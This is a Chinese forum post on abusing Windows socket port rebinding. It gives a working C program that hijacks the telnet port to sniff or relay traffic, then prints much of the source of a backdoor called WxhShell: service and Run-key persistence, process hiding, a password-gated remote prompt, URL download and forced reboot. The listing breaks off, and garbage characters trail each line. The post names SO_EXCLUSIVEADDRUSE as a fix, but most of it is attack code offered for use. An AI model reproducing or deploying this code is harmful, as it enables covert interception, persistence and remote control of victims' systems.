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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E y1mlW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yd$_XW p?\  
^GQ+,0Yy  
  saddr.sin_family = AF_INET; BD&JbH!(  
|>5NH'agV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )'?3%$EM  
iOkRBi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &#;vR 0O  
oTS*k: C'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 luACdC  
Obgn?TAVX  
  这意味着什么?意味着可以进行如下的攻击: ;+'x_'a  
NTASrh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5D8V)i  
sWX iY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]R32dI8N  
"-C.gqoB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \L>3E#R-Q  
RZ#b)l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 < wIJ5t  
1//d68*"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F.i*'x0u  
~2@+#1[g8z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LX[<Wh_X(  
@;_xFL;{g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K'kWL[Ut!  
"_WOt Jr  
  #include =+% QfuK  
  #include 9_)*b  
  #include ~~!iDF\  
  #include    lQj3# !1}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R*VRxQ,h6+  
  int main() 87l(a,#J  
  { 62TWqQ!9d  
  WORD wVersionRequested; kG@~;*;l  
  DWORD ret; Q'/v-bd?o  
  WSADATA wsaData; /FJ )gQYA  
  BOOL val; /Fy2ZYs,`8  
  SOCKADDR_IN saddr; b-ZC~#?|b  
  SOCKADDR_IN scaddr; ^&F8NEb=2>  
  int err; Yj)H!Cp.xD  
  SOCKET s; 0}}b\!]9  
  SOCKET sc; mlW0ptp  
  int caddsize; 0Mpc#:a%1  
  HANDLE mt; ))- B`vi  
  DWORD tid;   :l ~Wt7R  
  wVersionRequested = MAKEWORD( 2, 2 ); eLWD?-v%  
  err = WSAStartup( wVersionRequested, &wsaData ); _; /onM   
  if ( err != 0 ) { LI1OocY.]  
  printf("error!WSAStartup failed!\n"); i eQQ{iGJH  
  return -1; 2XI%z4\)!  
  } UfIH!6Q  
  saddr.sin_family = AF_INET; D@A@5pvS  
   g\^7Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "i0{E!,XL  
, 7-@eZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `d]D=DtH  
  saddr.sin_port = htons(23); (Qq;ySZ#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z/Z 0cM#  
  { 3}*)EC  
  printf("error!socket failed!\n");  #~QkS_  
  return -1; xc{$=>'G  
  } m%au* 0p  
  val = TRUE; LgFF+z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qM%l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {WJ9!pA!lk  
  { x.W93e[]H  
  printf("error!setsockopt failed!\n"); P(AcDG6K  
  return -1; |rW,:&;  
  } n1n->l*HGP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =E$Hq4I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ot,eAiaX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ukNB#2 "  
0 ~K4vSa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |uL"/cMW7  
  { :+Ti^FF`w  
  ret=GetLastError(); r0jhIE#  
  printf("error!bind failed!\n");  {}x{OP  
  return -1; H|@R+  
  } $}_a`~u  
  listen(s,2); *O6q=yg;K:  
  while(1) MoAZ!cF8  
  { %49 ^S&  
  caddsize = sizeof(scaddr); l@C39VP  
  //接受连接请求 cl3@+v1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uRIa Nwohv  
  if(sc!=INVALID_SOCKET) h|m>JDxn  
  { w K)/m`{g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >Vp #   
  if(mt==NULL) jiAKV0lX W  
  { Ek#?B6s  
  printf("Thread Creat Failed!\n"); y*K]z  
  break; hf#[Vns  
  } LYM(eK5V  
  }  3"B$M  
  CloseHandle(mt); {Ee[rAVGp  
  } lJ y\Ky(*  
  closesocket(s); A\xvzs.d  
  WSACleanup(); M{)7C,'  
  return 0; AE?G+:B  
  }   2$S^3$k'  
  DWORD WINAPI ClientThread(LPVOID lpParam) fT$Fv  
  { FH Hi/yh  
  SOCKET ss = (SOCKET)lpParam; (c3%rM m]  
  SOCKET sc; m~$S]Wf  
  unsigned char buf[4096]; &v}c3wL]  
  SOCKADDR_IN saddr; q2>dPI;3T  
  long num; ( q8uB  
  DWORD val; qC|$0  
  DWORD ret; q,ur[ &<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JIJ79HB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P`ZYm  
  saddr.sin_family = AF_INET; ;~nz%L J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -`d9dJ dB  
  saddr.sin_port = htons(23); `-,yJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <OR f{  
  { Y#[Wv1hi  
  printf("error!socket failed!\n"); A08b=S  
  return -1; FEoH$.4  
  } ;giW  
  val = 100; e/S^Rx4W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +#$(>6Zu"{  
  { ^TWMYF-  
  ret = GetLastError(); )cF1?2  
  return -1; 7"|j.Yq$H{  
  } J|Af`HJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =A yDVWpE  
  { vH`m W`=  
  ret = GetLastError(); aM2[<m}  
  return -1; *Y!c6eA  
  } 9bE/7v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }iu(-{Z  
  { 97XGJ1HI  
  printf("error!socket connect failed!\n"); Z3jtq-y  
  closesocket(sc); 3B+ F'k&#  
  closesocket(ss); Tw)"#Y!T  
  return -1; /d/Quro  
  } #" 3az8u  
  while(1) ,?zIt6Z  
  { -( d,AX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M?yWFqFt9m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ? FlV<nE"J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h_w_OCC&2  
  num = recv(ss,buf,4096,0); O7KR~d  
  if(num>0) c"<bq}L7S  
  send(sc,buf,num,0); N=?! ~n9Q-  
  else if(num==0) fBZ\,  
  break; 3aK/5)4|B  
  num = recv(sc,buf,4096,0); BAUo`el5  
  if(num>0) !uno!wUIYd  
  send(ss,buf,num,0); `;'fCO!  
  else if(num==0) [>pqf  
  break; y%9Q]7&=  
  } qrq9NPf  
  closesocket(ss); P2Or|_z  
  closesocket(sc); KR4vcI[4  
  return 0 ; G\HU%J  
  } r]0UF0#  
[u=DAk?8  
@C}Hx;f6  
========================================================== rwRb _eIj  
5[1#d\QR  
下边附上一个代码,,WXhSHELL 0xNlO9b/  
'yq'J)  
========================================================== I,0]> kx  
Q302!N  
#include "stdafx.h" I{V1Le4?  
%s#`i$|z*n  
#include <stdio.h> >Za66<:  
#include <string.h> 8G SO]R  
#include <windows.h> HJ\CGYmyz  
#include <winsock2.h> 2k^dxk~$V;  
#include <winsvc.h> f%1Dn}6  
#include <urlmon.h> rX8EXraO  
ilyQ gEjC  
#pragma comment (lib, "Ws2_32.lib") UpA{$@  
#pragma comment (lib, "urlmon.lib") jE&Onzc  
o4Bl!7U  
#define MAX_USER   100 // 最大客户端连接数 Vu6p l  
#define BUF_SOCK   200 // sock buffer ,Cj8{s&;  
#define KEY_BUFF   255 // 输入 buffer l5jW`cl1  
v7l4g&  
#define REBOOT     0   // 重启 }PR^Dj.  
#define SHUTDOWN   1   // 关机 (\^)@Y  
Gn ]%'lrg'  
#define DEF_PORT   5000 // 监听端口 fGv`.T_d  
ItoSORVV  
#define REG_LEN     16   // 注册表键长度 HxVQeyOR  
#define SVC_LEN     80   // NT服务名长度 })l+-H"  
=&- hU|ur  
// 从dll定义API [SW@"C!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,u,]ab  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $LPu_FJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MI!JZI$z5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FZ)Y<r8|s  
7{vnhl(Z  
// wxhshell配置信息 ~YuRi#CTD:  
struct WSCFG { C+WHg-l  
  int ws_port;         // 监听端口 ; md{T'  
  char ws_passstr[REG_LEN]; // 口令 G0^O7w^5  
  int ws_autoins;       // 安装标记, 1=yes 0=no  MRB>(}  
  char ws_regname[REG_LEN]; // 注册表键名 + njE  
  char ws_svcname[REG_LEN]; // 服务名 oadlyqlw#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =](c7HEQf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kUJ\AK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GQ-o wH]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #0-!P+c[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JuGQS24  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *5i~N}  
$E^#DjhRQ3  
}; 4LU'E%vlC  
!d1}IU-h  
// default Wxhshell configuration D&WXa|EOK  
struct WSCFG wscfg={DEF_PORT, Z?%j5G=4w  
    "xuhuanlingzhe", nI4xK  
    1, T#lySev  
    "Wxhshell", Kis\Rg  
    "Wxhshell", u1 uu_*  
            "WxhShell Service", Bx&.Tj  
    "Wrsky Windows CmdShell Service", J3sO%4sYR  
    "Please Input Your Password: ", k3m|I*_\L  
  1, p6V`b'*>  
  "http://www.wrsky.com/wxhshell.exe", f77uqv(Y  
  "Wxhshell.exe"  *it(o  
    }; O=1uF  
c;w~-7Q*|  
// 消息定义模块 JH~ve  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HrA6wn\O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xu1l6jr_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u.gh04{5  
char *msg_ws_ext="\n\rExit."; *JG?^G"l  
char *msg_ws_end="\n\rQuit."; 6e@ O88=  
char *msg_ws_boot="\n\rReboot..."; AJrwl^ lm  
char *msg_ws_poff="\n\rShutdown..."; ~6'6v 8  
char *msg_ws_down="\n\rSave to "; I`44}oJ  
GLb}_-|  
char *msg_ws_err="\n\rErr!"; ;G.m;5A  
char *msg_ws_ok="\n\rOK!"; `07u}]d8  
fB5Bh;K  
char ExeFile[MAX_PATH]; ay2 m!s Q  
int nUser = 0; M* W=v  
HANDLE handles[MAX_USER]; p[e|N;W8A  
int OsIsNt; +w/Ax[K  
 "7!K'i  
SERVICE_STATUS       serviceStatus; |}*k|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jlER_I]  
:^SpKe(7  
// 函数声明 ->}K-n ),  
int Install(void); DYH-5yX7  
int Uninstall(void); Z*kGWL  
int DownloadFile(char *sURL, SOCKET wsh); 'uUp1+  
int Boot(int flag); v@k62@;  
void HideProc(void); $ 8w eh3p  
int GetOsVer(void); =JyYU*G4  
int Wxhshell(SOCKET wsl); 1fL@rR  
void TalkWithClient(void *cs); FTt7o'U  
int CmdShell(SOCKET sock); DR9M8E  
int StartFromService(void); =&,zWNz)  
int StartWxhshell(LPSTR lpCmdLine); =~Jv*c  
q*A2>0O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \%NhggS*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nJ4h9`[>V  
4j!MjlG$  
// 数据结构和表定义 ?9i7+Y"  
SERVICE_TABLE_ENTRY DispatchTable[] = (0W%Y Z!&  
{ ,"PwNv  
{wscfg.ws_svcname, NTServiceMain}, iQ-;0<=G  
{NULL, NULL} )dLESk  
}; i{VjSWq  
ja~b5Tf9  
// 自我安装 Ta!.oC[  
int Install(void) Ts;W,pgP  
{ n/s!S &  
  char svExeFile[MAX_PATH]; mN?'Aey  
  HKEY key; "yc/8{U  
  strcpy(svExeFile,ExeFile); 1 X2oz  
C[r YVa .  
// 如果是win9x系统,修改注册表设为自启动 U:MkA(S%c  
if(!OsIsNt) { <_ */  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _\"P<+!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N{/q p  
  RegCloseKey(key); @DkPJla&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ok'0Byo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )1j~(C)E8  
  RegCloseKey(key); }QncTw0  
  return 0; 5"y p|Yl  
    } S#+G?I3w  
  } K4n1#]8i  
} &tD`~  
else { ;k7` `  
5G){7]P+r"  
// 如果是NT以上系统,安装为系统服务 *^c4q|G.-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [ZURs3q  
if (schSCManager!=0) /^uvY  
{ *8/Q_w  
  SC_HANDLE schService = CreateService 2{p`"xX  
  ( 'A !Dg  
  schSCManager, uA!T@>vl  
  wscfg.ws_svcname, z}C#+VhQ`  
  wscfg.ws_svcdisp, 35RH|ci&  
  SERVICE_ALL_ACCESS, (L|SE4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [X^JV/R  
  SERVICE_AUTO_START, v.6" <nT2  
  SERVICE_ERROR_NORMAL,  R76'1o  
  svExeFile, <$Uj ~jN  
  NULL, :v{ $]wg  
  NULL, #TW$J/Jb  
  NULL, +@%9pbM"z  
  NULL, V.Xz n  
  NULL rxa"ji!)  
  ); h#]}J}si  
  if (schService!=0) <mY`<(bc  
  { <?qmB }Y  
  CloseServiceHandle(schService); J-?\,N1R7  
  CloseServiceHandle(schSCManager); &O0+\A9tP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z8Dn<h  
  strcat(svExeFile,wscfg.ws_svcname); !kASEjFz|f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }~QB2&3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mSw OP  
  RegCloseKey(key); y13=y}dyDH  
  return 0; q3NS?t!  
    } tx5_e [  
  } nZ\,ZqV  
  CloseServiceHandle(schSCManager); U%k e 5uwP  
} `Q(ac| 0  
} Q^MB%L;D  
'b661,+d  
return 1; yH#;k:O=  
} hD >:WJ  
Fa+PN9M`?.  
// 自我卸载 ~BS*x+M  
int Uninstall(void) ~iwEhF   
{ AF3t#)q  
  HKEY key; JEHV \ =  
z(\H.P#  
if(!OsIsNt) { {f^30Fw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m\Tq0cT$  
  RegDeleteValue(key,wscfg.ws_regname); $d8A_CUU  
  RegCloseKey(key); -'}iK6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /WHhwMc!  
  RegDeleteValue(key,wscfg.ws_regname); mH{cGu?  
  RegCloseKey(key); lf|^^2'*2<  
  return 0; uhc0,V;S  
  } Gzp)OHgJ  
} y'@l,MN{  
} *?K` T^LS  
else { W^=89I4]  
$\^]MxI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z,4=<;PF  
if (schSCManager!=0) t91CxZQ^s  
{ f2yv7t T   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LWQ BGiJj  
  if (schService!=0) f "&q~V4?  
  { b%PVF&C9W  
  if(DeleteService(schService)!=0) { }?fa+FQGp  
  CloseServiceHandle(schService); J$EEpL  
  CloseServiceHandle(schSCManager); KFfwZkj{  
  return 0; wj'iU&aca  
  } 0x`:jz`  
  CloseServiceHandle(schService); &y(aByI y  
  } "5y^s!/  
  CloseServiceHandle(schSCManager); FBY~Z$o0.  
} l&|{uk  
} w`7l ;7[  
c=b\9!hr_E  
return 1; ^_=0.:QaW  
} GUp51*#XR  
"mH^Owai  
// 从指定url下载文件 ^@19cU?q  
int DownloadFile(char *sURL, SOCKET wsh) =OHDp7GXO>  
{ d.} rn"(z  
  HRESULT hr; 8U(a&G6gn  
char seps[]= "/"; F Q k;  
char *token; #TSM#Uqe  
char *file; a<o0B{7{BM  
char myURL[MAX_PATH]; y]CJOC)/K  
char myFILE[MAX_PATH]; M^[ jA](a  
qt:->yiq+  
strcpy(myURL,sURL); Wey\GQ`"8  
  token=strtok(myURL,seps); 'P Yl%2  
  while(token!=NULL) HkV/+ {;S~  
  { ~%}g"|o  
    file=token; d:wAI|  
  token=strtok(NULL,seps); 2 sOc]L:9  
  } 4dok/ +Ec  
Qdn:4yk  
GetCurrentDirectory(MAX_PATH,myFILE); -qEr-[z  
strcat(myFILE, "\\"); W ,U'hk%  
strcat(myFILE, file); NkJ^ecn%)  
  send(wsh,myFILE,strlen(myFILE),0); 6,h<0j{  
send(wsh,"...",3,0); 2kgm)-z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .Lp-'!i  
  if(hr==S_OK) e=R} 4`  
return 0; LtU+w*Gj  
else wS^-o  
return 1; v6n(<0:  
T*ic?!  
} ri^yal<'  
n$?oZ *;  
// 系统电源模块 }rQ*!2Y?  
int Boot(int flag) G`P+J  
{ ;8v5 qz  
  HANDLE hToken; ( 0h]<7  
  TOKEN_PRIVILEGES tkp; SeTU`WLEm  
y5ExEXa  
  if(OsIsNt) { <?g{Rn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rq9gtx8,=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fi`:G}   
    tkp.PrivilegeCount = 1; M@K[i*e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *o#`lH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \wCL)t.cX  
if(flag==REBOOT) { \*N1i`99  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =e+go ]87x  
  return 0; B dKwWgi+a  
} **"P A8   
else { k$2Y)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6GN'rVr!Z  
  return 0; ;uDFd04w [  
} +W1rm$Q  
  } k8JPu"R  
  else { 9x1Dyz 2?F  
if(flag==REBOOT) { Z4!3I@yZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |eqDT,4  
  return 0; r=`>'3 } x  
} 8B+uNN~%]  
else { !v`=EF.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cjW]Nw  
  return 0; [Wh 43Z  
} 8HOmWQS  
} a~|ge9? (  
E$wB bm  
return 1; 6p@ts`#  
} %xRS9A 4  
^n]s}t}csV  
// win9x进程隐藏模块 l rzW H0Q  
void HideProc(void) |H4'*NP"  
{ iI1t P  
;gyE5n-{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 34=0.{qn  
  if ( hKernel != NULL ) D4|_?O3 |m  
  { qrkT7f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cw}\t!*!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \) ;rOqh  
    FreeLibrary(hKernel); X@)lPr$a  
  } 2$91+N*w9  
kYAvzuGRb  
return; nGVqVSxKT  
} 9PAp*`J@kr  
UPYM~c+}  
// 获取操作系统版本 bq O"k t  
int GetOsVer(void) 1#(1Bs6X  
{ "J#:PfJ%  
  OSVERSIONINFO winfo; -ZB"Yg$l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Exr7vL  
  GetVersionEx(&winfo); 7E95"B&w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R;o_*  
  return 1; ||V:',#,W  
  else -eMRxa>  
  return 0; qAS^5|(b[  
} Nt8(  
D6u>[Z[T  
// 客户端句柄模块 .vO.g/o  
int Wxhshell(SOCKET wsl) Y"qY@`  
{ |@BN+o;`Om  
  SOCKET wsh; UVK"%kW#(  
  struct sockaddr_in client; pA'A<|)K0  
  DWORD myID; 4_<Uk  
* 5n:+Tw(  
  while(nUser<MAX_USER) J%)2,szn0  
{ p2G8 Qls  
  int nSize=sizeof(client); .D .Rn/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l 5FQ!>IM  
  if(wsh==INVALID_SOCKET) return 1; umzYJ>2t  
Pcs@`&}7r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q-v[O4 y~  
if(handles[nUser]==0) lND[anB!  
  closesocket(wsh); 3p4?-Dd|_$  
else %j@FZ )a[  
  nUser++; &}O!l'  
  } jvQ"cs$.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }H=OVbQor  
PS6`o  
  return 0; cy4'q ?r  
} Pc'?p  
N+5 ^h(~  
// 关闭 socket gEP E9ew  
void CloseIt(SOCKET wsh) >9`ep7  
{ m+vEs,W.  
closesocket(wsh); i7V~LO:gq  
nUser--; Ao T7sy7  
ExitThread(0); L])w-  
} Q8?D}h  
EcIQ20Z_-  
// 客户端请求句柄 W1 Qc1T8  
void TalkWithClient(void *cs) 2r,'4%G  
{ Gq/6{eRo\  
Tm52=+uf$  
  SOCKET wsh=(SOCKET)cs; Q=E@i9c9  
  char pwd[SVC_LEN]; s~ A8/YoU}  
  char cmd[KEY_BUFF]; %%6 ('wi  
char chr[1]; c'";3 6y  
int i,j; dH|^\IQ  
e-9unnk  
  while (nUser < MAX_USER) { C`wI6!  
e6lOmgHn5  
if(wscfg.ws_passstr) { K"7;Y#1g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K/`RZ!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z :v, Vu  
  //ZeroMemory(pwd,KEY_BUFF); v Lv@Mo  
      i=0; Cg pT(E\E  
  while(i<SVC_LEN) { Aw;vg/#~md  
&Fjilx'k  
  // 设置超时 1 ],, Ar5  
  fd_set FdRead; 4Z9wzQ>  
  struct timeval TimeOut; nM-SDVFM  
  FD_ZERO(&FdRead); DWQQ615i  
  FD_SET(wsh,&FdRead); mndl~/  
  TimeOut.tv_sec=8; l-}5@D[  
  TimeOut.tv_usec=0; N+qLxk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "H<#91^|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NxO^VUD  
Z&jb,eh2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '-33iG  
  pwd=chr[0]; ?i2Wst  
  if(chr[0]==0xd || chr[0]==0xa) { wg<|@z5  
  pwd=0; m,C,<I|'d  
  break; E5G"QnxR>N  
  } vUe *  
  i++; FK# E7 K  
    } H~ n~5 sF"  
D1~x  
  // 如果是非法用户,关闭 socket aGb. Lh9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :gscW& k  
} KTjlWxD  
,,%:vK+V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VHr7GAmU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cuaNAJ  
,Bw)n,  
while(1) { T% 13 '  
@[tV_Z%,b  
  ZeroMemory(cmd,KEY_BUFF); 8sIA;r%S  
Q4Fq=kTE  
      // 自动支持客户端 telnet标准   UvJuOh+  
  j=0; &v5.;8u+OV  
  while(j<KEY_BUFF) { U q w}4C/0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8KwC wv  
  cmd[j]=chr[0]; ;'QY<,p[e  
  if(chr[0]==0xa || chr[0]==0xd) { e ]o'i;I  
  cmd[j]=0; =yX&p:-&  
  break; r>~d[,^$m4  
  } o 7W Kh=  
  j++; 4:&qT Y)H  
    } in #]3QGV  
m+2`"1IE[  
  // 下载文件 yISQYvSN  
  if(strstr(cmd,"http://")) { aT:AxYn8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yz-JI=  
  if(DownloadFile(cmd,wsh)) Fra>|;do  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 76A>^Bs\/  
  else "lz[zFnO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Secq^#]8  
  } xVkTRCh  
  else { {XD/8m(hN|  
2FIR]@MQd  
    switch(cmd[0]) { =lC;^&D-0/  
  hMeqs+  
  // 帮助 w zqd g  
  case '?': { 3 t88AN=4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 51G=RYay9  
    break; c|}K_~l_  
  } 0w(T^G hZ  
  // 安装 [AZ aT  
  case 'i': { q@!'R{fu  
    if(Install()) "WbVCT'i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g(1B W#$  
    else gFs/012{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @>fO;*  
    break; sCtw30BL  
    } ^@`e  
  // 卸载 .3&a{IxM]  
  case 'r': { Fu4EEi  
    if(Uninstall()) &^7uv0M<y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $HBT%g@UN  
    else juMxl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tpa^k  
    break; hB7pR"P  
    } ^0~c 7`k`V  
  // 显示 wxhshell 所在路径 !/6\m!e|1R  
  case 'p': { TD{=L*{+  
    char svExeFile[MAX_PATH]; 2:iYYRrg  
    strcpy(svExeFile,"\n\r"); |ck ZyDA  
      strcat(svExeFile,ExeFile); & &" 'dL  
        send(wsh,svExeFile,strlen(svExeFile),0); Lo9G4Cu  
    break; z^rhgs?4  
    } UOWIiu  
  // 重启 :'y{dbKp"  
  case 'b': { <r<Dmn|\a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j!x<QNNX  
    if(Boot(REBOOT)) J-tq8   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p:JRQT"A  
    else { hD6JW-  
    closesocket(wsh); L$lo~7<]  
    ExitThread(0); tS (i711  
    } 6h2x~@  
    break; f2 ydL/M,  
    } 0L:V#y-*  
